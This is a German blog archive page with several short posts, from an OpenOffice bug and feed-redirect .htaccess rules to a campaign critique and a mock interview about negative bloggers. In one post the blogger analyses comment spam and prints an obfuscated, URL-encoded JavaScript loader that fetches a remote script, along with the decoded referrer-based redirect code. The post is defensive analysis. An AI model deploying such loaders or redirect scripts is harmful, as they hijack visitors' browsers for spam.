Archive for the 'gefragt' Category

Was zählt OpenOffice da?

Früher fand ich die Statistik-Funktion von OpenOffice sehr praktisch - in letzter Zeit gibt sie aber viel Blödsinn aus.

OpenOffice Bug

Ist das Problem schon bekannt?

Hallo Nordwest-Zeitung

Es ist ja schön, dass ihr jetzt auf der neuen Karikaturen-Seite auch ein kleines Archiv anbietet. Besser wäre es jedoch, wenn ihr die Bildunterschriften auch in das neue Layout integrieren würdet - die stehen nämlich nur auf der alten Seite - ohne Karikatur. Ich finde es etwas unbequem, wenn ich mir die Pointen zusammensuchen muss.

Feeds umbiegen

Nebenan bin ich von MovableType auf Wordpress umgezogen. Besteht eine Möglichkeit, die alten Feed-URLs umzubiegen?

Zwar gibt es ein Feed-Location-Plugin, aber das biegt nur die Links um, ohne den Feed an der neuen Stelel bereitzustellen?

Gibt es eine Möglichkeit, dass die Leute, die per Feedreader die alte URL http://nerds.computernotizen.de/index.xml aufrufen, auf den aktuellen Feed unter http://nerds.computernotizende/feed/ umzuleiten? Ich würde ja gerne einfache Weiterleitung in .htaccess anlegen, aber da hat sich Wordpress auch schon breit gemacht.

PS: Problem schon gelöst: Diese Regeln in der .htaccess stellen nun die Weiterleitung sicher:

Redirect /index.xml http://nerds.computernotizen.de/feed/
Redirect /index.rdf http://nerds.computernotizen.de/feed/
Redirect /atom.xml http://nerds.computernotizen.de/feed/

Was wurde eigentlich aus “Wir haben bezahlt!”?

Eben bin ich in einem Blog auf einen Banner der Aktion Wir haben bezahlt gestoßen. Erinnern wir uns: Gulli.com alias die fliks it-solutions GmbH haben im Juni 2006 die Kampagne gestartet - ungefähr zu der Zeit als auch der CCC und die Verbraucherzentralen mit eigenen Aktionen starteten. Ziel war nichts weniger als “günstige, legale und DRM-freie Musik”.

Wenn man sich heute auf der Webseite der Aktion umsieht, stößt man vor allem auf Leere. Zwar stellt Autor Korrupt im Schnitt alle paar Wochen mal eine kleine Meldung aus dem Fundus der DRM-Musikindustrie-Debatte ins Blog, Diskussionsbeiträge finden sich darunter aber kaum noch.

Aber nicht verzagen: In der linken Spalte finden wir eine Rubrik “Mitmachen”. Erster Punkt ist eine Petition. Dort finden sich heute tatsächlich 6600 Einträge, auch aktuell kommen noch einige hinzu. Schönheitsfehler: Die Petition fehlt. Oben steht ein unverbindlicher Vierzeiler ohne Adressaten. Die Betreiber hatten wohl nie vor, irgendwem eine Petition zu übergeben. Es ist schlicht ein Gästebuch.

wirhabenbezahlt

Zweiter Mitmach-Punkt sind die Banner. Auf der Webseite stehen zwei Dutzend grafisch ansprechende Banner bereit, mit denen man auf seiner eigenen Webseite für die Kampagne werben kann. Dritter Punkt ist ein Kreativ-Wettbewerbe, bei dem man Banner und Slogans einreichen kann - wohl eine Quelle der kreativen Banner auf der vorigen Seite. Hier wird auch versprochen die Gewinner des Wettbewerbes auf der Seite bekannt zu geben - fast ein Jahr nach dem Aktionsbeginn scheint diese Krönung noch auszustehen.

Die letzte Aktion stammt vom letzten September. Damals verlinkten die Kampagneros 17 frei verwendbare Songs und boten dazu ein eigenes CD-Cover mit ihrer URL an. Die einzigen Presseveröffentlichungen stammen aus den ersten Tagen nach Gründung der Kampagne.

Man kann also davon ausgehen, dass die Aktion eingeschlafen ist. Aber ist sie überhaupt gestartet? Irgendwelche konkreten Kampagnenziele hat es nie gegeben, die meisten Mitmachmöglichkeiten laufen lediglich darauf hinaus, Links auf die Kampagnenwebseite zu generieren. Weder Künstler noch Musikindustrie werden angesprochen, fundiertes Informationsmaterial fehlt, weitergehende Aktionen wurden anscheinend nie in Angriff genommen. Auch an Kooperationen scheint es kein Interesse gegeben zu haben, wie auch dieses Interview auf jetzt.de zeigt.

Was bleibt? Einige schöne Banner und einige Tausend Links auf eine Webseite.

Interview mit einem Mecker-Blogger

Kleinz: Hallo, mein Name ist Kleinz. Ich bin freier Journalist und recherchiere zu “Mecker-Bloggern”. Haben Sie einige Minuten Zeit?”

Torsten: Interessantes Thema. Wie kann ich weiterhelfen? Soll ich Ihnen ein paar Mecker-Blogger aufzählen?

Kleinz: Eigentlich wollte ich eher Sie befragen…

Torsten: Mich? Als Mecker-Blogger? Wie kommen Sie denn darauf?

Kleinz: Nun, in den vergangenen Wochen haben Sie zum Beispiel in Ihrem Blog nahegelegt, dass Leute mit großen Autos ein kleines Hirn haben.

Torsten: Nun, diese Idioten wollten eine illegale Rallye auf nicht-abgesperrten Straßen fahren.

Kleinz: Zugegeben. Aber auch sonst scheinen Sie ja kein besonders positiver Charakter zu sein, wenn man ihr Blog als Maßstab nimmt. Ein Kollege schreibt einen wichtigen Artikel, der die Leser über Online-Durchsuchungen aufklärt, und Sie mäkeln an Details herum. Für die vielbeachtete Aktion der Gruppe Geld oder Leben haben Sie nur Häme und Polemik übrig. Fernseher bezeichnen Sie als Mülltonnen. Und das VIVA-Programm sogar als Berufsberatung für den Kinderstrich. Und das sind nur die Einträge aus den letzten Tagen.

Torsten: Ich sage nur meine Meinung. Wollen Sie mir das Recht dazu absprechen?

Kleinz: Nichts liegt mir ferner. Ich frage nur, wie diese negative Tendenz zu Stande kommt.

Torsten: Gut. Fragen Sie.

Kleinz: Sind Blogger prädestiniert dazu, alles und jeden zu kritisieren?

Torsten: Das kann ich nicht wirklich beantworten. Ich verfolge so ein, zwei Dutzend Blogs mehr oder weniger regelmäßig. Je nach Zählung gibt es aber Zigtausende oder Millionen Blogs, die ich niemals zu Gesicht bekomme.

Kleinz: Sie bloggen nun immerhin fast vier Jahre und gehen auch zu Blogger-Treffen wie re:publica. Irgend eine Ahnung müssen Sie doch haben.

Torsten: Nun, bei den so genannten “A-Bloggern” kann man wohl eine Tendenz zu eher negativen Postings feststellen. Das ist jetzt nur meine subjektive Sicht. Und es ist ja kaum erstaunlich: Firmen decken Internetseiten mit Abmahnungen ein, die Gesetzgebung macht Online-Publizieren zum Minenfeld und viele Web 2.0-Firmen machen wirklich dumme Anfängerfehler.

Kleinz: Trotzdem gibt es doch sicher genug Positives zu berichten. Die Sonne scheint, fast stündlich werden spannende neue Projekte geboren, Menschen rücken aufeinander zu. Warum schreibt niemand darüber?

Torsten: Das stimmt nicht. Viele Leute schreiben Positives. Zum Beispiel hat Udo Vetter erst gestern ein Posting über Schokolade verfasst. Und Robert Basic findet ganz viele Sachen toll.

Kleinz: Aber als er sich vor kurzem über zickige Journalisten-Blogger echauffierte, bekam er mehr Feedback als bei den meisten seiner positiven Berichte.

Torsten: Das ist richtig. Es ist wohl so, dass man über negative Berichterstattung viel mehr unmittelbare Aufmerksamkeit bekommt. Besonders schön sieht man das an der altehrwürdigen Seite Amiga News. Hunderte von Meldungen über neue Projekte, Software oder Mitmach-Gelegenheiten verschwinden eher unbeachtet in der Versenkung, bei Klagen oder Verleumdungen will dann jeder etwas sagen.

Kleinz: Sind Blog-Leser also sensationsheischende Kampfhähne?

Torsten: Nicht mehr als andere Menschen auch. Die BILD-Zeitung macht ja auch nicht mit der Schlagzeile auf “Tausende Demonstranten friedlich”. Vielleicht liegt es in der menschlichen Natur, dass wir Positives einfach hinnehmen und Negatives hingegen mit höchstem Interesse betrachten. Ich könnte mit im Fall von Blogs auch einen technischen Grund vorstellen: Viele Leute preisen tolle Webseiten oder Angebote nicht mehr in einem separaten Eintrag, sondern werfen ihn nur in einen Social-Bookmarking-Dienst, der dann alle paar Tage eine Liste der empfehlenswerten Links ins Blog ausscheidet.

Kleinz: Fassen wir zusammen: Blogger sind gar nicht so negativ, es erscheint nur so?

Torsten: Möglicherweise. Vielleicht geht es sogar etwas weiter: Eventuell müssten Blogger noch viel negativer werden. So sagte Mercedes Bunz vor kurzem in einem Blogkommentar: “Es braucht wieder mehr negative Kritiken. Mit Begründung natürlich. Vor allem im Feuilleton.”

Kleinz: An der Begründung mangelt es bei einigen Bloggern aber.

Torsten: Das liegt auch etwas an der sozialen Dynamik. Manchmal habe ich den Eindruck, dass vor einigen Jahren mehr nachrecherchiert wurde: Der eine Blogger spann die Recherche des anderen Bloggers weiter, brachte sogar Fakten ein, die der Ausgangsthese widersprachen. Heute sehe ich viel öfter eine Empörungsspirale, bei der Vorurteile innerhalb bestimmter Cliquen verstärkt werden. Auch ich kann mich von dieser Optik nicht frei machen.

Kleinz: Es gibt also keine Blogosphäre, sondern nur noch Cliquen?

Torsten: Ob es “die Blogosphäre” je gab, kann ich nicht sagen. Auf alle Fälle hat sie sich in Deutschland in den letzten Jahren immer weiter ausdifferenziert. Aber dazu kann ich nicht wirklich mehr erzählen. Vielleicht sollte man mal eine Studie machen.

Kleinz: Ich bedanke mich für das Gespräch.

Spam per Beeplog - eine kleine Spurensuche

In letzter Zeit ist mir mehrmals Kommentarspam aufgefallen, der die deutsche Adresse Beeplog.de verlinkt. Wenn ich die Links anklicke, lande ich merkwürdigerweise auf einer Google-Ergebnis-Seite.

Wie funktioniert das? Nehmen wir als Beispiel den Spam vorn heute: http:// kidney-stones. beeplog. de (die URLs habe ich in diesem Beitrag deaktiviert).

Wenn man die Seite mit ausgeschaltetem JavaScript ansurft, landet man auf einer ziemlich leeren Beeplog-Seite ohne Einträge, aber mit massig Links in der Sidebar. Schaut man in den Quelltext, stößt man schnell auf folgendes JavaScript:

script language="JavaScript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%64%72%75%67%2D%70%72%65%73%63%72%69%70%74%69%6F%6E%2E%6F%72%67%2F%6A%2E%70%68%70%3F%71%3D%6B%69%64%6E%65%79%25%32%30%73%74%6F%6E%65%73%22%3E%3C%2F%73%63%72%69%70%74%3E'))

Sprich: es ist ein kleines kodiertes Programm, das im Browser ausgeführt wird. Im Klartext sieht das dann so aus:

script language="JavaScript" type="text/javascript" src="http://drug-prescription.org/ j.php?q=kidney%20stones">

Sprich: Das entschlüsselte JavaScript wird direkt ausgeführt und holt weitere Anweisungen von einer externen Seite. Die sehen so aus:

var f =''; var url = ''; f = ref(); if (top != self){ url = 'http://people-say.info/ search.php?q=kidney stones&f=' + f; } else{ if (url == '' && f != '') url = filter(); else url = 'http://www.google.com/ search?hl=en&q=kidney stones'; } if (typeof(location.replace) != 'undefined') top.location.replace(url); else top.location.href = url; function filter(){ if (f.indexOf('.live.')!=-1 || f.indexOf('.google.')!=-1 || f.indexOf('.msn.')!=-1 || f.indexOf('.yahoo.')!=-1 || f.indexOf('.aol.')!=-1 || f.indexOf('.ask.')!=-1 || f.indexOf('.altavista.')!=-1 || f.indexOf('.all.')!=-1 || f.indexOf('.nigma.')!=-1 || f.indexOf('.dogpile.')!=-1 || f.indexOf('.metacrawler.')!=-1 || f.indexOf('meta.')!=-1 || f.indexOf('.yandex.')!=-1 || f.indexOf('.rambler.')!=-1 || f.indexOf('.webalta.')!=-1 || f.indexOf('.live.')!=-1) return 'http://people-say.info/ search.php?q=kidney stones&f='+ f; else return 'http://www.google.com/ search?hl=en&q=kidney stones'; } function ref(){ if (top == self) f = top.document.referrer; if ((f == "") || (f == "[unknown origin]“) || (f == “unknown”) || (f == “undefined”)) if (document["parent"] != null) if (parent["document"] != null) // ACCESS ERROR HERE! if (parent.document["referrer"] != null) if (typeof(parent.document) == “object”) f = parent.document.referrer; if ((f == “”) || (f == “[unknown origin]“) || (f == “unknown”) || (f == “undefined”)) if (document["referrer"] != null) f = document.referrer; if ((f == “”) || (f == “[unknown origin]“) || (f == “unknown”) || (f == “undefined”)) f = “”; f = escape(f); return f; }

Flüchtig betrachtet kontrolliert das Script welche Ergebnisseiten verschiedene Suchmaschinen für die entsprechenden Suchbegriffe ausgeben - und dann wird der User eben dahin geleitet. Der Spammer vertraut darauf, dass eine ausreichende Anzahl der Leute schon auf den richtigen Google-Link klicken wird. Und wenn Google ihn aus dem Index schmeißt, kann er ja den User noch auf andere Seiten umleiten.

Wie könnte man abhelfen? Beeplog.de müsste seine Blogs etwas sorgfältiger beobachten und einige JavaScript-Funktionen außer Kraft setzen. Der User könnte JavaScript deaktivieren - was heute illusorisch ist - oder schlichtweg drauf achten, nicht auf solche Spam-Links zu klicken.

Deutschlands wichtigster Internet-Kongress

Aus meiner Inbox:

Inzwischen hat Deutschlands wichtigster Internet-Kongress einen festen Platz in den Terminkalendern der Marketing-Entscheider, Web-Spezialisten und IT-Fachleute gefunden.

Ratet mal, welcher Kongress gemeint sein könnte. Ich gebe ein paar Tipps: er findet im Mai in Berlin statt, kostet über 500 Euro und ich habe nie von ihm gehört (oder ihn längst vergessen).

Das kann einen Sauerländer nicht erschüttern

Berlin (dpa) - Der frühere Unionsfraktionschef Friedrich Merz (CDU) will sich auch aus Protest gegen den Kurs der großen Koalition und seiner Partei in Nordrhein-Westfalen aus der Politik zurückziehen.

Wo findet die zentrale Abschiedskundgebung statt? Reicht der Anlass für kleine spontane Merz-geht-Parties in Turnhallen, Schützenvereinen und Männerhilfsgruppen? Wird die Sauerländer Brigade den Großen Bierzapfenstreich aufführen?

Bewahrt die Jugend vor Schwarz-Weiß-Filmen!

Man fasst es nicht: Der Billy-Wilder-Klassiker “Manche mögen’s heiß” wird im WDR mit dem Jugendschutz-Hinweis angekündigt: Der Film soll für Jugendliche unter 16 Jahren nicht geeignet sein.

Wo ist das jugendgefährdende Element des Films? Eine bemerkenswert unblutige Darstellung des St Valentines Day massacre? Die schlüpfrige Erotik einer Frau, die zufällig am gleichen Tag geboren wurde wie meine Oma? Männer, die sich als Frauen verkleiden? Oder gar subversiver Humor?

Wer muss da seinen Kopf aus dem Arsch ziehen?

Woher kommt das Wort?

Unvermittelt dran das Wort gestern in meinen Wortschatz. “Das kostet doch sicher drölfzig Euro” hörte ich mich am Telefon sagen. Schon dutzendfach habe ich das Wort gelesen und gehört - jetzt habe ich es plötzlich selbst ausgesprochen. Wie ist das passiert?

Viel wichtiger: woher kommt das Wort eigentlich? Hat es einen literarischen Ursprung wie König Alfons der Viertelvorzwölfte?

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